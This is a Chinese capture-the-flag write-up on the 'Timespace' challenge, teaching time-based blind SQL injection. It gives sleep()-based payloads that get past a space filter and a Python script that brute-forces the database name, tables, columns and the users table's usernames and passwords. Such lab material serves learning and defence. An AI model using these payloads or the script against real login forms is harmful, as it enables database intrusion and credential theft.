记一次SQL延时注入-Timespace
记一次SQL延时注入-Timespace
○ 时间盲注简介
○ 例题:Timespace
○ 解法1:使用BURP抓包爆破
○ 解法2:使用脚本爆破
○ 声明
时间盲注又称延迟注入,适用于页面不会返回错误信息,只会回显一种界面,其主要特征是利用sleep函数,制造时间延迟,由回显时间来判断是否报错。
判断注入点和注入类型
用户名输入1,密码输入1 —— 报错
用户名输入1',密码输入1 —— 发现用户名处被注入
用户名输入1,密码输入1' —— 报错
说明用户名是注入点,密码不是注入点。
用户名输入1'#,密码输入1,显示报错。
综上得知是单引号字符型注入。
判断字段数
用户名:1' order by 5#,密码随便填
发现空格被过滤了,考虑使用%00或者/**/来补齐空格。经过尝试发现/**/有效果。
1'
/**/
order
/**/
by
/**/
4
1'
/**/
order
/**/
by
/**/
3
知道字段数查表,没有预期数据显示,判断不能采用union语句注入
1'
/**/
union
/**/
select
/**/
version
(),
user
(),
database
()
#
尝试使用时间盲注
1'
/**/
and
/**/
sleep(
3
) #
//语句没有被单引号截断,显示报错,说明代入了SQL语句进行查询。显示报错但没有执行sleep(3) 说明语句不对,尝试改为or进行判断。
1'
/**/
or
/**/
sleep(
3
) #
//发现执行了sleep(3),所以可以使用or进行时间盲注
构造语句进行爆破获得数据库,数据表等信息
a.判断库名长度
1'
or
/**/
if
(( length( (
select
/**/
database()) )=§
8
§ ),sleep(
3
),
1
)
b.爆破数据库名
1'
or
/**/
if
(( substr(( (
select
/**/
database()) ),§
1
§,
1
)=
'§a§'
),sleep(
3
),
1
)
c.查表长度
1'
or
/**/
if
((length((
select
/**/
group_concat(table_name)
/**/
from
/**/
information_schema.tables
/**/
where
/**/
table_schema=
'hazel123'
))=§
1
§),sleep(
3
),
1
)
d.爆破表名
1'
or
/**/
if
(( substr((
select
/**/
group_concat(table_name)
/**/
from
/**/
information_schema.tables
/**/
where
/**/
table_schema=
'hazel123'
),§
1
§,
1
)=
'§a§'
),sleep(
3
),
1
)
e.查字段长度
1'
or
/**/
if
((length((
select
/**/
group_concat(column_name)
/**/
from
/**/
information_schema.columns
/**/
where
/**/
table_name=
'users'
))=§
1
§),sleep(
3
),
1
)
f.查字段名
1'
or
/**/
if
(( substr((
select
/**/
group_concat(column_name)
/**/
from
/**/
information_schema.columns
/**/
where
/**/
table_name=
'users'
),§
1
§,
1
)=
'§a§'
),sleep(
3
),
1
)
g.根据需要的字段得出结果
1'
or
/**/
if
(( length( (
select
/**/
group_concat(id,username,password)
/**/
from
/**/
users ) )=§
1
§ ),sleep(
3
),
1
)
1'
or
/**/
if
(( substr(( (
select
/**/
group_concat(id,username,password)
/**/
from
/**/
users ) ),§
1
§,
1
)=
'§a§'
),sleep(
3
),
1
)
#!/usr/bin/python3
# -*- coding=utf8 -*-
import
requests
# 定义超时
def
timeout
(url,param)
:
try
:
r = requests.post(url,data=param, timeout =
4
)
return
"pass"
except
:
return
"timeout"
# 定义函数
def
db_len
(url)
:
for
i
in
range(
300
):
# 需要改动的地方
param = {
# "username":"1' or if((length(( select database() ))={}),sleep(5),1) #".format(i),
# "username":"1' and if((length(( select group_concat(schema_name) from information_schema.schemata ))={}),sleep(5),1) #".format(i),
# "username":"1' or if((length(( select group_concat(table_name) from information_schema.tables where table_schema=database() ))={}),sleep(5),1) #".format(i),
# "username":"1' or if((length(( select group_concat(column_name) from information_schema.columns where table_name='users' ))={}),sleep(5),1) #".format(i),
"username"
:
"1' or if((length(( select group_concat(id,username,password) from users ))={}),sleep(5),1) #"
.format(i),
"password"
:
"123"
}
param[
'username'
] = param[
'username'
].replace(
' '
,
'/**/'
)
# print (param['username'])
text = timeout(url,param)
# 替换关键字
if
"timeout"
in
text:
# print "db_len is {}".format(i)
(
"db_len is {}"
.format(i))
db_len = i
return
db_len
# 定义函数
def
db_data
(url)
:
key =
""
db_l = db_len(url)
for
i
in
range(
1
,db_l +
1
):
for
j
in
dic:
# 需要改动的地方
param = {
# "username":"1' or if((substr((( select database() )),{},1)='{}'),sleep(5),1) #".format(i,j),
# "username":"1' and if((substr((( select group_concat(schema_name) from information_schema.schemata )),{},1)='{}'),sleep(5),1) #".format(i,j),
# "username":"1' or if((substr((( select group_concat(table_name) from information_schema.tables where table_schema=database() )),{},1)='{}'),sleep(5),1) #".format(i,j),
# "username":"1' or if((substr((( select group_concat(column_name) from information_schema.columns where table_name='users' )),{},1)='{}'),sleep(5),1) #".format(i,j),
"username"
:
"1' or if((substr((( select group_concat(id,username,password) from users )),{},1)='{}'),sleep(5),1) #"
.format(i,j),
"password"
:
"123"
}
param[
'username'
] = param[
'username'
].replace(
' '
,
'/**/'
)
text = timeout(url,param)
# 关键字,替换关键字
if
"timeout"
in
text:
key += j
break
(key)
# print key
if
__name__ ==
'__main__'
:
# 替换请求地址
url =
"http://hazelshishuaige.club:8114/index.php"
dic =
"abcdefghijklmnopqrstuvwxyz_,.!@#1234567890"
db_data(url)
本文编辑:Yusa
感谢 布尔 师傅 (๑•̀ㅂ•́)و✧
原文始发于微信公众号(渗透安全团队):实战 | SQL延时注入-Timespace
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论